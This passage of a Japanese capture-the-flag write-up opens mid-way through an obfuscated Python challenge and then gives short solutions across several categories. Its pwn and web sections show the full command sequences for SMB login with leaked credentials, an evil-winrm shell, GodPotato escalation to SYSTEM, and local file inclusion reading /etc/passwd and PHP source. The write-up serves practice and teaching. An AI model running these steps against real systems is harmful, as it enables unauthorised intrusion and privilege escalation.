______.__._.__+______.__._.____+______.__.____________________.__+______.__.___________________._+______.__.____.___+______.__.____________________.___+______.__._________________.____+______.__.____.____+______.__._.____+______.__._______._____+______.__.__________________.__+______.__.____________________.___+______.__.___._+______.__._______.___+______.__._________________.____+______.__.____._____+______.__.________.____+______.__.____________________.__+______.__.___________________.__+______.__.___________________._+______.__.____________________.___+______.__._________._____+______.__.____________________.___+______.__.________.___+______.__.______.__+______.__.____________________.___+______.__.__________.____+______.__.____________________.___+______.__._____.____+______.__.___._+______.__.________________.__+______.__.__.______+______.__.____________________._+______.__.___._+______.__.__________________.____+______.__.__.______+______.__.__________._____+______.__.___._+______.__.___________.__+______.__.__.______+______.__.____________________._+______.__.___._+______.__.___________________.______+______.__._________._______+______.__.___________._+______.__.____._____+______.__.___________________.____+______.__._____.____+______.__.__________________.______)]),____=_____.____([_____.__________________(),(),_____._____________________()(_=lambda:______.__.____.__+______.__.____._____+______.__.___.____+______.__.___._____+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._________________.____+______.__.____.____+______.__.___________________.__+______.__.______._____+______.__._______._____+______.__.____________________.___+______.__._________________.____+______.__._.______+______.__._________._______+______.__.____________________.__+______.__.___________________._+______.__.___________________.____+______.__._________.______+______.__.____.___+______.__.____________________.___+______.__._________._____+______.__.____________________.___+______.__.________.___+______.__.______.__+______.__.____________________.___+______.__.__________.____+______.__.____________________.___+______.__._______________._+______.__._________________.____+______.__.____._____+______.__._____.____+______.__.____________________.__+______.__.___________________._+______.__.______________.______+______.__.____________________.___+______.__._____________._+______.__.____________________.___+______.__.____.______+______.__.___________________.__+______.__._________________.____+______.__.________________.__+______.__._______._____+______.__.______________.______+______.__._______.______+______.__.____.___+______.__.__________________.___+______.__._______________._____+______.__._________________.__+______.__._.__+______.__.____________________.__+______.__._____.___+______.__.____.___+______.__.______._____+______.__.____________________.___+______.__._____________._+______.__.____________________.___+______.__.___________________.____+______.__._____.____+______.__.__________________.______)]),___=_____.____([_____.__________________(),(),_____._____________________()()]),_=_____.____([_____.__________________(),(),_____._____________________()(_=lambda:______.__.____.__+______.__.____._____+______.__.___.____+______.__.___________________.____+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._________________.____+______.__.____.____+______.__.___________________.__+______.__.______._____+______.__._______._____+______.__.____________________.___+______.__._________________.____+______.__.____._____+______.__.________________.___+______.__.___________________.__+______.__._________.______+______.__._________.______+______.__.____________________.___+______.__._________._____+______.__.____________________.___+______.__.________.___+______.__.______.__+______.__.____________________.___+______.__.__________.____+______.__.____________________.___+______.__._______________._+______.__._________________.____+______.__.____._____+______.__.________________._+______.__.___________________.____+______.__._.__+______.__._.____+______.__.____________________.___+______.__.____.______+______.__._________________.____+______.__.____._____+______.__.___________________.__+______.__._____.___+______.__._________________.__+______.__.______._____+______.__.____________________.___+______.__._____________._+______.__.____________________.___+______.__.____.______+______.__.___________________.__+______.__._________________.____+______.__.________.______+______.__._______________.____+______.__.____.___+______.__.______________.______+______.__.____________.____+______.__.____________________.__+______.__._____.___+______.__.___________________._+______.__.______._____+______.__.____________________.___+______.__._____________._+______.__.____________________.___+______.__._________________.____+______.__._.______+______.__._________.______+______.__._______________._____+______.__._.__+______.__.____.___+______.__._.__+______.__.____________________.__+______.__.____________________.___+______.__.__.______+______.__.____________________._+______.__._________________.____+______.__.____________._____+______.__._.____+______.__.____________________.__+______.__._________.______+______.__.__________________.___+______.__.____________________.__+______.__.________________._+______.__.________________._+______.__.______._____+______.__.____.___+______.__._______._____+______.__.____________________.___+______.__.__.______+______.__.__________.___+______.__._________________.____+______.__.____________._____+______.__.____.___+______.__._.__+______.__.___________________._+______.__.__________________.___+______.__._________.______+______.__._______________._____+______.__._.__+______.__.____.___+______.__._.__+______.__.____________________.__+______.__.____________________.___+______.__.__.______+______.__.____________________._+______.__._________________.____+______.__.___________.__+______.__.____.___+______.__._.__+______.__.___________________._+______.__.__________________.___+______.__._.____+______.__.____________________.__+______.__._________.______+______.__.__________________.___+______.__.____________________.__+______.__.________________._+______.__.________________._+______.__.______._____+______.__.____.___+______.__._______._____+______.__.____________________.___+______.__._________._______+______.__._.___+______.__.____._____+______.__.___________________.____+______.__._____.____+______.__.__________________.______)]),__________=_____.____([_____.__________________(),(),_____._____________________()()]),_________________=_____.____([_____.__________________(),(),_____._____________________()(_=lambda:______.__.____.__+______.__.____._____+______.__.___.____+______.__.______._____+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._______.___+______.__._________________.____+______.__.____.____+______.__.___________________.__+______.__.______._____+______.__._______._____+______.__.____________________.___+______.__._________________.____+______.__.____._____+______.__.________________.___+______.__.___________________.__+______.__._________.______+______.__._________.______+______.__.____________________.___+______.__._________._____+______.__.____________________.___+______.__.________.___+______.__.______.__+______.__.____________________.___+______.__.__________.____+______.__.____________________.___+______.__._______________._+______.__._________________.____+______.__.____._____+______.__.________________._+______.__.___________________.____+______.__._.__+______.__._.____+______.__.____________________.___+______.__.____.______+______.__._________________.____+______.__.____._____+______.__.___________________.__+______.__._____.___+______.__._________________.__+______.__.______._____+______.__.____________________.___+______.__._____________._+______.__.____________________.___+______.__._________________.____+______.__.________.______+______.__._______________.____+______.__.____.___+______.__.______________.______+______.__.____________.____+______.__.____________________.__+______.__._____.___+______.__.___________________._+______.__.______._____+______.__.____________________.___+______.__._____________._+______.__.____________________.___+______.__._________________.____+______.__._.______+______.__._________.______+______.__._______________._____+______.__._.__+______.__.____.___+______.__._.__+______.__.____________________.__+______.__.____________________.___+______.__.__.______+______.__.____________________._+______.__._________________.____+______.__.____________._____+______.__._.____+______.__.____________________.__+______.__._________.______+______.__.__________________.___+______.__.____________________.__+______.__.________________._+______.__.________________._+______.__.______._____+______.__.____.___+______.__._______._____+______.__.____________________.___+______.__.__.______+______.__.__________._____+______.__._________________.____+______.__.____________._____+______.__.____.___+______.__._.__+______.__.___________________._+______.__.__________________.___+______.__._________.______+______.__._______________._____+______.__._.__+______.__.____.___+______.__._.__+______.__.____________________.__+______.__.____________________.___+______.__.__.______+______.__.____________________._+______.__._________________.____+______.__.___________.__+______.__.____.___+______.__._.__+______.__.___________________._+______.__.__________________.___+______.__._.____+______.__.____________________.__+______.__._________.______+______.__.__________________.___+______.__.____________________.__+______.__.________________._+______.__.________________._+______.__.______._____+______.__.____.___+______.__._______._____+______.__.____________________.___+______.__._________._______+______.__.________._+______.__.____._____+______.__.___________________.____+______.__._____.____+______.__.__________________.______)]),____________________=_____.____([_____.__________________(),(),_____._____________________()()]))]),___=_____.____([_____.__________________(),(),_____._____________________()(__=lambda:______.__.____________.__+______.__.___________________.__+______.__._________.______+______.__.___________________.____+______.__.____.___,_=lambda:______.__.___________________.__+______.__._____.___+______.__._________________.__+______.__.______._____,____=lambda:______.__.________________._+______.__.___________________.____+______.__._.__+______.__._.____,___=lambda:______.__._____.____+______.__.____________________.__+______.__.___________________._+______.__.______________.______)]),_____=_____.____([_____.__________________(),(),_____._____________________()(_=_._)]),____=_____.____([_____.__________________(),(),_____._____________________()(______________=_____.____([_____.__________________(),(),_____._____________________()()]),____=_____.____([_____.__________________(),(),_____._____________________()()]),________________=_____.____([_____.__________________(),(),_____._____________________()(_=lambda:[])]),___=_____.____([_____.__________________(),(),_____._____________________()(_=lambda:[____,______.___.___(),______._____._,____,______.___.__(),____,______.___._(),______._____._,____,______.___.____(),____,______.___.__(),____,______.___._(),______._____._])]),____________________=_____.____([_____.__________________(),(),_____._____________________()(_=lambda:[____,______.___.___(),______._____._,____,______.___.__()])]),___________________=_____.____([_____.__________________(),(),_____._____________________()()]),______=_____.____([_____.__________________(),(),_____._____________________()(_=lambda:[____,______.___.___(),______._____._,____,______.___.__(),____,______.___.____()])]),_____________=_____.____([_____.__________________(),(),_____._____________________()(_=lambda:[____,______.___.___(),______._____._,____,______.___.__(),____,______.___._(),______._____._,____,______.___.____()])]),__________=_____.____([_____.__________________(),(),_____._____________________()()]),_________=_____.____([_____.__________________(),(),_____._____________________()(_=lambda:[____,______.___.___(),______._____._,____,______.___.__(),____,______.___._(),______._____._,____,______.___.____(),____,______.___.__(),____,______.___.____()])]),_____=_____.____([_____.__________________(),(),_____._____________________()(_=lambda:[____,______.___.___(),______._____._,____,______.___.__(),____,______.___._(),______._____._,____,______.___.____(),____,______.___.__()])]),__________________=_____.____([_____.__________________(),(),_____._____________________()()]),________=_____.____([_____.__________________(),(),_____._____________________()(_=lambda:[____,______.___.___(),______._____._,____,______.___.__(),____,______.___._(),______._____._])]),_________________=_____.____([_____.__________________(),(),_____._____________________()(_=lambda:[____,______.___.___(),______._____._,____,______.___.__(),____,______.___._(),______._____._,____,______.___.____(),____,______.___.__(),____,______.___._(),______._____._,____,______.___.____()])]),_______________=_____.____([_____.__________________(),(),_____._____________________()(_=lambda:[____,______.___.___(),______._____._])]),____________=_____.____([_____.__________________(),(),_____._____________________()(_=lambda:[____,______.___.___(),______._____._,____,______.___.__(),____,______.___._(),______._____._,____,______.___.____(),____,______.___.__(),____,______.___.____(),____,______.___.__(),____,______.___.____()])]),___________=_____.____([_____.__________________(),(),_____._____________________()(_=lambda:[____,______.___.___(),______._____._,____,______.___.__(),____,______.___._(),______._____._,____,______.___.____(),____,______.___.__(),____,______.___.____(),____,______.___.__()])]),_______=_____.____([_____.__________________(),(),_____._____________________()()]),_=_____.____([_____.__________________(),(),_____._____________________()()]),__=_____.____([_____.__________________(),(),_____._____________________()()]))]))]);___=[(______.____.____________._(),______._._________._()),(______.____._________________._(),______._.__________________._()),(______.____.___________._(),______._.___________._()),(______.____.___._(),______._._________________._()),(______.____._________._(),______._.________._()),(______.____._____._(),______._._._()),(______.____._____________._(),______._.______________._()),(______.____.________._(),______._.______._()),(______.____.______._(),______._.________________._()),(______.____.____________________._(),______._._____________._()),(______.____._______________._(),______._.__._()),(______.____.________________._(),______._.____._())];(lambda: ((lambda code: exit(code))(1) if not callable(getattr(__builtins__, 'compile', None)) or getattr(__builtins__.compile, '__module__', '') != 'builtins' or getattr(__builtins__.compile, '__name__', '') != 'compile' else None))();__.____________();_____.____________(_____.__(_____._())[(_.__**_.__+_.___)]+_____.__(_____._______())[_.__]+_____.__(_____._())[(_.__**_.__+_.___)]+_____.__(_____._())[_._])(_____.____________(_____.__(_____._())[:_.__*_.__]+_____.__(_____.________())[_._]+_____.__(_____.________________([]))[_._]+_____.__(_____._())[(_.__**_.__+_.___)])(_______,_____.____________________(),_____.__(_____._())[(_.__**_.__+_.___)]+_____.__(_____._______())[_.__]+_____.__(_____._())[(_.__**_.__+_.___)]+_____.__(_____._())[_._]))"このb""の中身をそのまま実行すると、以下の文字列が表示された。
spl_is_cr4zy
SPL{spl_is_cr4zy}
tv buzz (MISC)
Audacityで開き、スペクトログラムを見ると、フラグが現れた。

flag{h1dden-1n-sp3ctrum}フラグ形式をSPL{text}にする。
SPL{h1dden-1n-sp3ctrum}
copy paste (Threat Intel L1)
漏洩した認証情報を答える問題。
667~668行目に以下の記述がある。
username: student1 password: s3cr3t!
SPL{student1_s3cr3t!}
dns sluth (Threat Intel L1)
1件だけが記録にあり、問題にも書かれているので、怪しいサブドメインは以下の通りとなる。
support-hackorn.secpen.org
SPL{support-hackorn.secpen.org}
mal medium (Threat Intel L1)
C2ドメインを答える問題。
strings.txtに怪しいbase64文字列が含まれているので、デコードする。
$ echo aHR0cDovL21hbGljaW91cy1vcHMuc2VjcGVuLm5ldC9jdC5waHA= | base64 -d http://malicious-ops.secpen.net/ct.php
SPL{malicious-ops.secpen.net}
AD-DC (First Blood) (PWN)
ドメイン管理者アカウントからユーザーフラグを奪取する問題。
HTMLソースを見ると、コメントに以下のように書いてある。
<!-- To: localh0ste (System Admin) Hi System Admin, Please update the webpage. I couldn’t upload it as I’m away on holidays this week. I’ll share my credentials for a temporary shares(SMB) account — please use it only for this update. After use, please disable PS Remoting as we discussed on the call. Thanks BSides Noida Development Team Sneha Credentials: developer:C|>@|#v863u)zl9G^&4}8kHl -->
smbで接続する。
$ smbclient -L //13.71.126.207/ -U developer --password="C|>@|#v863u)zl9G^&4}8kHl" Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share flag Disk BSides Noida - Initial Foothold IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share Users Disk Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 13.71.126.207 failed (Error NT_STATUS_IO_TIMEOUT) Unable to connect with SMB1 -- no workgroup available $ smbclient //13.71.126.207/flag -U developer --password="C|>@|#v863u)zl9G^&4}8kHl" Try "help" to get a list of possible commands. smb: \> ls . D 0 Tue Sep 23 12:52:41 2025 .. DR 0 Tue Sep 23 15:00:40 2025 flag.txt A 202 Tue Sep 23 12:58:17 2025 33147379 blocks of size 4096. 28794682 blocks available smb: \> get flag.txt getting file \flag.txt of size 202 as flag.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec) smb: \> quit $ cat flag.txt Hello Participant, Nice to See You here ; Your Credentitals : svc-flag:2<wN5cf4Zhu£mr!tP"5*,4v] {Hint: PS Remoting can sometimes be useful for gaining an initial foothold.} @localh0ste $ smbclient -L //13.71.126.207/ -U svc-flag --password="2<wN5cf4Zhu£mr\!tP\"5*,4v]" Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share flag Disk BSides Noida - Initial Foothold IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share Users Disk Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 13.71.126.207 failed (Error NT_STATUS_IO_TIMEOUT) Unable to connect with SMB1 -- no workgroup available $ smbclient //13.71.126.207/Users -U svc-flag --password="2<wN5cf4Zhu£mr\!tP\"5*,4v]" Try "help" to get a list of possible commands. smb: \> ls . DR 0 Thu Sep 25 15:45:42 2025 .. DHS 0 Thu Sep 25 14:43:01 2025 Default DHR 0 Wed Sep 3 20:45:35 2025 desktop.ini AHS 174 Sat May 8 17:18:31 2021 file.txt A 145 Tue Sep 23 15:06:22 2025 svc-flag D 0 Thu Sep 25 15:13:33 2025 33147379 blocks of size 4096. 28791279 blocks available smb: \> get file.txt getting file \file.txt of size 145 as file.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec) smb: \> quit $ cat file.txt Good Going ! Follow Me : localh0ste.me (MY website) Want Hint ? Enumeration is key chain Search everything ! you are near to last step
evil-winrmでコマンド実行しながら探ることにする。
$ evil-winrm -i 13.71.126.207 -u svc-flag -p "2<wN5cf4Zhu£mr\!tP\"5*,4v]" Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\svc-flag\Documents> Get-ADGroupMember "Domain Admins" | Select-Object Name, SamAccountName Name SamAccountName ---- -------------- localh0ste localh0ste
localh0steのプロファイルからflagを取得する必要がある。
*Evil-WinRM* PS C:\Users\svc-flag\Documents> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeImpersonatePrivilegeの権限がある。権限昇格するためにGodPotatoを使うことにする。
*Evil-WinRM* PS C:\Users\svc-flag\Documents> upload GodPotato-NET4.exe Info: Uploading /home/kali/GodPotato-NET4.exe to C:\Users\svc-flag\Documents\GodPotato-NET4.exe Info: Upload successful! *Evil-WinRM* PS C:\Users\svc-flag\Documents> .\GodPotato-NET4.exe -cmd "cmd /c dir C:\Users\localh0ste\Desktop" [*] CombaseModule: 0x140713842049024 [*] DispatchTable: 0x140713844635976 [*] UseProtseqFunction: 0x140713843929280 [*] UseProtseqFunctionParamCount: 6 [*] HookRPC [*] Start PipeServer [*] CreateNamedPipe \\.\pipe\447ea7ef-5e83-49d5-b441-756ef5d04edf\pipe\epmapper [*] Trigger RPCSS [*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046 [*] DCOM obj IPID: 00006c02-3d9c-ffff-72b8-765435a8cc4e [*] DCOM obj OXID: 0xcd7a0ef8ce968d4f [*] DCOM obj OID: 0xcec36eff703bc352 [*] DCOM obj Flags: 0x281 [*] DCOM obj PublicRefs: 0x0 [*] Marshal Object bytes len: 100 [*] UnMarshal Object [*] Pipe Connected! [*] CurrentUser: NT AUTHORITY\NETWORK SERVICE [*] CurrentsImpersonationLevel: Impersonation [*] Start Search System Token [*] PID : 512 Token:0x808 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation [*] Find System Token : True [*] UnmarshalObject: 0x80070776 [*] CurrentUser: NT AUTHORITY\SYSTEM [*] process start with pid 17000 Volume in drive C is Windows Volume Serial Number is AC18-56DA Directory of C:\Users\localh0ste\Desktop 09/23/2025 06:00 AM <DIR> . 09/22/2025 03:22 PM <DIR> .. 09/23/2025 03:52 AM <DIR> flag 09/24/2025 01:46 PM 142 flag.txt 1 File(s) 142 bytes 3 Dir(s) 117,779,382,272 bytes free *Evil-WinRM* PS C:\Users\svc-flag\Documents> .\GodPotato-NET4.exe -cmd "cmd /c type C:\Users\localh0ste\Desktop\flag.txt" [*] CombaseModule: 0x140713842049024 [*] DispatchTable: 0x140713844635976 [*] UseProtseqFunction: 0x140713843929280 [*] UseProtseqFunctionParamCount: 6 [*] HookRPC [*] Start PipeServer [*] CreateNamedPipe \\.\pipe\56bfe7d8-dd1c-4adb-a9c2-bbf783cc8094\pipe\epmapper [*] Trigger RPCSS [*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046 [*] DCOM obj IPID: 00006c02-3ff4-ffff-19cb-27dc997b93f5 [*] DCOM obj OXID: 0x653ed0fb24daad35 [*] DCOM obj OID: 0xa4605dd702105cf3 [*] DCOM obj Flags: 0x281 [*] DCOM obj PublicRefs: 0x0 [*] Marshal Object bytes len: 100 [*] UnMarshal Object [*] Pipe Connected! [*] CurrentUser: NT AUTHORITY\NETWORK SERVICE [*] CurrentsImpersonationLevel: Impersonation [*] Start Search System Token [*] PID : 512 Token:0x808 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation [*] Find System Token : True [*] UnmarshalObject: 0x80070776 [*] CurrentUser: NT AUTHORITY\SYSTEM [*] process start with pid 6764 SPL{2a53db3573d28d0f13790be5a112cdeee4ee87064cd03c8a3ad8e2606d15464651556448888} ---- Congratulations Buddy ! Follow Me : localh0ste.me
SPL{2a53db3573d28d0f13790be5a112cdeee4ee87064cd03c8a3ad8e2606d15464651556448888}
filter fiasco (WEB)
いろいろ試したところ、以下のアカウントでログインできて、フラグが表示された。
Username: admin* Password: a
SPL{27ff7dc84296b8bbec0bf9797df03a12}
secrets in the shadows (WEB)
/etc/passwdを入力したら、以下のように表示された。
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
http://64.227.171.211:8080/?page=php://filter/convert.base64-encode/resource=index.phpにアクセスすると、以下のように表示された。
PD9waHAKLy8gTEZJIENURiBDaGFsbGVuZ2UKLy8gUHVycG9zZTogUGxheWVycyBuZWVkIHRvIGluY2x1ZGUgYSBsb2NhbCBmaWxlIHRvIGZpbmQgdGhlIHBhc3N3b3JkCgovLyBTZXQgZGVmYXVsdCBwYWdlCiRwYWdlID0gImhvbWUucGhwIjsKCi8vIExGSSB2dWxuZXJhYmlsaXR5OiBpbmNsdWRlIGZpbGUgYmFzZWQgb24gR0VUIHBhcmFtZXRlcgppZiAoaXNzZXQoJF9HRVRbJ3BhZ2UnXSkpIHsKICAgICRwYWdlID0gJF9HRVRbJ3BhZ2UnXTsKfQoKLy8gQmFzaWMgcHJvdGVjdGlvbjogb25seSBhbGxvdyBzdHJpbmdzLCBubyBudWxsIGJ5dGUgKGZvciBvbGRlciBQSFApCiRwYWdlID0gc3RyX3JlcGxhY2UoIlwwIiwgIiIsICRwYWdlKTsKCi8vIEluY2x1ZGUgdGhlIHJlcXVlc3RlZCBwYWdlCi8vIFRoaXMgaXMgaW50ZW50aW9uYWxseSB2dWxuZXJhYmxlCkBpbmNsdWRlKCRwYWdlKTsKPz4KCjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KPGhlYWQ+CiAgICA8dGl0bGU+bG9jYWxoMHN0ZTwvdGl0bGU+CjwvaGVhZD4KPGJvZHk+CiAgICA8aDE+V2VsY29tZSB0byB0aGUgSW50ZXJuYWwgPC9oMT4KICAgIDxwPlNlYXJjaCBZb3VyIEZpbGVzICE8L3A+CiAgICA8Zm9ybSBtZXRob2Q9ImdldCI+CiAgICAgICAgPGxhYmVsIGZvcj0icGFnZSI+UGFnZSB0byBpbmNsdWRlOjwvbGFiZWw+CiAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhZ2UiIGlkPSJwYWdlIiBwbGFjZWhvbGRlcj0iSW50ZXJuYWwgRmlsZXMiPgogICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij5TZWFyY2g8L2J1dHRvbj4KICAgIDwvZm9ybT4KPC9ib2R5Pgo8L2h0bWw+Cg==
base64デコードする。
$ echo PD9waHAKLy8gTEZJIENURiBDaGFsbGVuZ2UKLy8gUHVycG9zZTogUGxheWVycyBuZWVkIHRvIGluY2x1ZGUgYSBsb2NhbCBmaWxlIHRvIGZpbmQgdGhlIHBhc3N3b3JkCgovLyBTZXQgZGVmYXVsdCBwYWdlCiRwYWdlID0gImhvbWUucGhwIjsKCi8vIExGSSB2dWxuZXJhYmlsaXR5OiBpbmNsdWRlIGZpbGUgYmFzZWQgb24gR0VUIHBhcmFtZXRlcgppZiAoaXNzZXQoJF9HRVRbJ3BhZ2UnXSkpIHsKICAgICRwYWdlID0gJF9HRVRbJ3BhZ2UnXTsKfQoKLy8gQmFzaWMgcHJvdGVjdGlvbjogb25seSBhbGxvdyBzdHJpbmdzLCBubyBudWxsIGJ5dGUgKGZvciBvbGRlciBQSFApCiRwYWdlID0gc3RyX3JlcGxhY2UoIlwwIiwgIiIsICRwYWdlKTsKCi8vIEluY2x1ZGUgdGhlIHJlcXVlc3RlZCBwYWdlCi8vIFRoaXMgaXMgaW50ZW50aW9uYWxseSB2dWxuZXJhYmxlCkBpbmNsdWRlKCRwYWdlKTsKPz4KCjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KPGhlYWQ+CiAgICA8dGl0bGU+bG9jYWxoMHN0ZTwvdGl0bGU+CjwvaGVhZD4KPGJvZHk+CiAgICA8aDE+V2VsY29tZSB0byB0aGUgSW50ZXJuYWwgPC9oMT4KICAgIDxwPlNlYXJjaCBZb3VyIEZpbGVzICE8L3A+CiAgICA8Zm9ybSBtZXRob2Q9ImdldCI+CiAgICAgICAgPGxhYmVsIGZvcj0icGFnZSI+UGFnZSB0byBpbmNsdWRlOjwvbGFiZWw+CiAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhZ2UiIGlkPSJwYWdlIiBwbGFjZWhvbGRlcj0iSW50ZXJuYWwgRmlsZXMiPgogICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij5TZWFyY2g8L2J1dHRvbj4KICAgIDwvZm9ybT4KPC9ib2R5Pgo8L2h0bWw+Cg== | base64 -d <?php // LFI CTF Challenge // Purpose: Players need to include a local file to find the password // Set default page $page = "home.php"; // LFI vulnerability: include file based on GET parameter if (isset($_GET['page'])) { $page = $_GET['page']; } // Basic protection: only allow strings, no null byte (for older PHP) $page = str_replace("\0", "", $page); // Include the requested page // This is intentionally vulnerable @include($page); ?> <!DOCTYPE html> <html> <head> <title>localh0ste</title> </head> <body> <h1>Welcome to the Internal </h1> <p>Search Your Files !</p> <form method="get"> <label for="page">Page to include:</label> <input type="text" name="page" id="page" placeholder="Internal Files"> <button type="submit">Search</button> </form> </body> </html>
特に手掛かりは見つからない。改めて問題文を見てみると、以下のように書いてある。
The developers were careless,leaving Temporary Files and files with flag scattered across the system.
以下にアクセスしてみると、フラグが表示された。
http://64.227.171.211:8080/?page=/tmp/flag.txt
SPL{e3550d74a7a981d5f18be938692898df}
photo memories (Forensics)
steghideで秘密情報を抽出してみる。
まずはパスワード空で試す。
$ steghide extract -sf bill_harper.jpg Enter passphrase: wrote extracted data to "secret.txt". $ cat secret.txt SPL{2dfa898b8659508904d0c321d3139e4885a441442d7b587e938b31fa84e0d678}
SPL{2dfa898b8659508904d0c321d3139e4885a441442d7b587e938b31fa84e0d678}
FileNOM (Forensics)
BSO.wavをAudacityで開き、スペクトログラムを見る。
周波数を調整し、拡大縮小すると、フラグが現れた。

SPL{991253426721BSN76}
EncTy (CRYPTO)
CyberChefで次の順に復号する。
- From Hex
- ROT13(Amount:2)
SPL{b9299f1a01852961cbae119a052e96aa753282e16e1f5a79c4051be022098883}
TrainEnc (CRYPTO)
Rail Fence Cipherと推測し、https://www.dcode.fr/rail-fence-cipherで復号する。
SPL{09a0597634367092b4d61796516a7ec266f54cdcbe25f5ad4bf904d5543b59bf}
SwArmy (CRYPTO)
問題の暗号文は以下の通り。
Sigurd Petter Ludvig { Sexa Trea Nolla Caesar Tvåa Filip Ett Caesar Nolla Erik Erik Ett Bertil Åtta David Sju David Adam Femma Sju Caesar Filip Åtta Nia Trea Sexa Adam Erik Sju Erik Sju Åtta Tvåa Sju Fyra Adam Bertil Adam Nolla Bertil Filip David Sju Sexa Femma Filip Erik Ett Nolla Adam Tvåa Nolla David Filip Erik Femma Åtta Nolla Filip Nia Erik Erik Caesar Caesar }スウェーデン語の数字を表しているものは数字に置き換え、他は先頭の文字をアルファベットに置き換えれば良さそう。
Nolla: 0 Ett: 1 Tvåa: 2 Trea: 3 Fyra: 4 Femma: 5 Sexa: 6 Sju: 7 Åtta: 8 Nia: 9
SPL{630c2f1c0ee1b8d7da57cf8936ae7e78274aba0bfd765fe10a20dfe580f9eecc}